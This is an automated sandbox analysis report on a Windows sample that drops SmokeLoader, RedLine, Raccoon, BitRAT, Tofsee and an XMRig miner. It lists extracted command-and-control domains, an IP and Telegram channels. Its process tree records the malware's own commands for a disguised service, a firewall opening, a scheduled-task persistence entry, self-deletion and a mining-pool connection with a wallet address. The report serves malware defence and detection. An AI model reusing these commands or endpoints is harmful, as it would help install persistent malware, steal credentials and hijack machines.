Overview

overview

10

Static

static

16dfcc1a6f...14.exe

windows7_x64

10

16dfcc1a6f...14.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    25/09/2021, 21:21

Sharing

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General

  • Target
    16dfcc1a6fe5886964156777a09da514.exe
  • Size 117KB
  • Sample210925-z7bxtadhcl
  • SHA256 5ed39b2c2b58db059b65bd11c6783a1c65b9836143f2c4dfbde502ff685598db
  • MD5 SHA1 SHA512
Score
10/10
bitratraccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4f6d7183c9e82d2a9b81e6c0608450aa66cefb51fqqbackdoordiscoveryevasioninfostealerminerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://naghenrietti1.top/

  • http://kimballiett2.top/

  • http://xadriettany3.top/

  • http://jebeccallis4.top/

  • http://nityanneron5.top/

  • http://umayaniela6.top/

  • http://lynettaram7.top/

  • http://sadineyalas8.top/

  • http://geenaldencia9.top/

  • http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

  • redline

Botnet

  • qq

C2

  • 135.181.142.223:30397

Extracted

Family

  • raccoon

Botnet

  • f6d7183c9e82d2a9b81e6c0608450aa66cefb51f

Attributes
  • url4cnc

    https://t.me/justoprostohello

rc4.plain
rc4.plain

Extracted

Family

  • raccoon

Botnet

  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

    trojanbitrat
  • BitRAT Payload 4 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

    suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)

    suricata
  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\16dfcc1a6fe5886964156777a09da514.exe
    "C:\Users\Admin\AppData\Local\Temp\16dfcc1a6fe5886964156777a09da514.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Users\Admin\AppData\Local\Temp\16dfcc1a6fe5886964156777a09da514.exe
      "C:\Users\Admin\AppData\Local\Temp\16dfcc1a6fe5886964156777a09da514.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3640
  • C:\Users\Admin\AppData\Local\Temp\418.exe
    C:\Users\Admin\AppData\Local\Temp\418.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Users\Admin\AppData\Local\Temp\418.exe
      C:\Users\Admin\AppData\Local\Temp\418.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:4272
  • C:\Users\Admin\AppData\Local\Temp\7F1.exe
    C:\Users\Admin\AppData\Local\Temp\7F1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Users\Admin\AppData\Local\Temp\7F1.exe
      C:\Users\Admin\AppData\Local\Temp\7F1.exe
      2⤵
      • Executes dropped EXE
      PID:4252
    • C:\Users\Admin\AppData\Local\Temp\7F1.exe
      C:\Users\Admin\AppData\Local\Temp\7F1.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4452
  • C:\Users\Admin\AppData\Local\Temp\11C6.exe
    C:\Users\Admin\AppData\Local\Temp\11C6.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:3132
  • C:\Users\Admin\AppData\Local\Temp\17E1.exe
    C:\Users\Admin\AppData\Local\Temp\17E1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bqteqkbz\
      2⤵
        PID:4516
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lfoylotf.exe" C:\Windows\SysWOW64\bqteqkbz\
        2⤵
          PID:4480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bqteqkbz binPath= "C:\Windows\SysWOW64\bqteqkbz\lfoylotf.exe /d\"C:\Users\Admin\AppData\Local\Temp\17E1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:4328
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description bqteqkbz "wifi internet conection"
            2⤵
              PID:672
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start bqteqkbz
              2⤵
                PID:964
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1448
              • C:\Users\Admin\AppData\Local\Temp\2B2C.exe
                C:\Users\Admin\AppData\Local\Temp\2B2C.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3100
                • C:\Users\Admin\AppData\Local\Temp\2B2C.exe
                  C:\Users\Admin\AppData\Local\Temp\2B2C.exe
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2352
                  • C:\Users\Admin\AppData\Local\Temp\zjyM497v88.exe
                    "C:\Users\Admin\AppData\Local\Temp\zjyM497v88.exe"
                    3⤵
                    • Executes dropped EXE
                    PID:4680
                    • C:\Windows\SysWOW64\schtasks.exe
                      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
                      4⤵
                      • Creates scheduled task(s)
                      PID:4300
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2B2C.exe"
                    3⤵
                      PID:4660
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /T 10 /NOBREAK
                        4⤵
                        • Delays execution with timeout.exe
                        PID:4332
                • C:\Windows\SysWOW64\bqteqkbz\lfoylotf.exe
                  C:\Windows\SysWOW64\bqteqkbz\lfoylotf.exe /d"C:\Users\Admin\AppData\Local\Temp\17E1.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1256
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:4020
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                        PID:5024
                  • C:\Users\Admin\AppData\Local\Temp\32DE.exe
                    C:\Users\Admin\AppData\Local\Temp\32DE.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1844
                  • C:\Users\Admin\AppData\Local\Temp\45DA.exe
                    C:\Users\Admin\AppData\Local\Temp\45DA.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:4948
                    • C:\Users\Admin\AppData\Local\Temp\45DA.exe
                      C:\Users\Admin\AppData\Local\Temp\45DA.exe
                      2⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of SetWindowsHookEx
                      PID:4368
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
                    C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
                    1⤵
                    • Executes dropped EXE
                    PID:756
                    • C:\Windows\SysWOW64\schtasks.exe
                      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
                      2⤵
                      • Creates scheduled task(s)
                      PID:4584

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        memory/756-240-0x0000000000400000-0x00000000004A9000-memory.dmp
                        Download

                        memory/1256-196-0x0000000000400000-0x00000000004B0000-memory.dmp
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                        memory/1256-195-0x00000000004B0000-0x00000000005FA000-memory.dmp
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                        memory/1844-209-0x0000000002110000-0x00000000021A0000-memory.dmp
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                        memory/1844-210-0x0000000000400000-0x00000000004F3000-memory.dmp
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                        memory/1924-154-0x0000000000400000-0x00000000004B0000-memory.dmp
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                        memory/1924-153-0x00000000001D0000-0x00000000001E3000-memory.dmp
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                        memory/2228-129-0x0000000005430000-0x00000000054A6000-memory.dmp
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                        memory/2228-127-0x00000000054B0000-0x00000000054B1000-memory.dmp
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                        memory/2228-128-0x0000000005460000-0x0000000005461000-memory.dmp
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                        memory/2228-125-0x0000000000C80000-0x0000000000C81000-memory.dmp
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                        memory/2228-130-0x0000000005AF0000-0x0000000005AF1000-memory.dmp
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                        memory/2352-191-0x0000000000400000-0x0000000000493000-memory.dmp
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                        memory/2352-184-0x0000000000400000-0x0000000000493000-memory.dmp
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                        memory/2712-158-0x00000000008C0000-0x00000000008D6000-memory.dmp
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                        memory/2712-118-0x00000000003A0000-0x00000000003B6000-memory.dmp
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                        memory/3100-183-0x0000000002190000-0x0000000002221000-memory.dmp
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                        memory/3132-140-0x00000000062C0000-0x00000000062C1000-memory.dmp
                        Download

                        memory/3132-143-0x0000000005CB0000-0x0000000005CB1000-memory.dmp
                        Download

                        memory/3132-144-0x00000000776F0000-0x000000007787E000-memory.dmp
                        Download

                        memory/3132-182-0x00000000075C0000-0x00000000075C1000-memory.dmp
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                        memory/3132-181-0x0000000007DA0000-0x0000000007DA1000-memory.dmp
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                        memory/3132-193-0x0000000007B10000-0x0000000007B11000-memory.dmp
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                        memory/3132-216-0x0000000008D20000-0x0000000008D21000-memory.dmp
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                        memory/3132-180-0x00000000076A0000-0x00000000076A1000-memory.dmp
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                        memory/3132-142-0x0000000005DC0000-0x0000000005DC1000-memory.dmp
                        Download

                        memory/3132-141-0x0000000005C30000-0x0000000005C31000-memory.dmp
                        Download

                        memory/3132-149-0x0000000005CF0000-0x0000000005CF1000-memory.dmp
                        Download

                        memory/3132-146-0x0000000005CA0000-0x0000000005CA1000-memory.dmp
                        Download

                        memory/3132-138-0x0000000001140000-0x0000000001141000-memory.dmp
                        Download

                        memory/3640-115-0x0000000000400000-0x0000000000409000-memory.dmp
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                        memory/3716-117-0x00000000001E0000-0x00000000001E9000-memory.dmp
                        Download

                        memory/4020-187-0x0000000002880000-0x0000000002895000-memory.dmp
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                        memory/4368-226-0x0000000000400000-0x00000000007CE000-memory.dmp
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                        memory/4368-221-0x0000000000400000-0x00000000007CE000-memory.dmp
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                        memory/4452-168-0x00000000051F0000-0x00000000057F6000-memory.dmp
                        Download

                        memory/4452-151-0x0000000000400000-0x0000000000422000-memory.dmp
                        Download

                        memory/4680-228-0x0000000000500000-0x0000000000504000-memory.dmp
                        Download

                        memory/4680-229-0x0000000000400000-0x00000000004A9000-memory.dmp
                        Download

                        memory/4948-225-0x00000000026C0000-0x0000000002A85000-memory.dmp
                        Download

                        memory/5024-232-0x00000000004A0000-0x0000000000591000-memory.dmp
                        Download

                        memory/5024-236-0x00000000004A0000-0x0000000000591000-memory.dmp
                        Download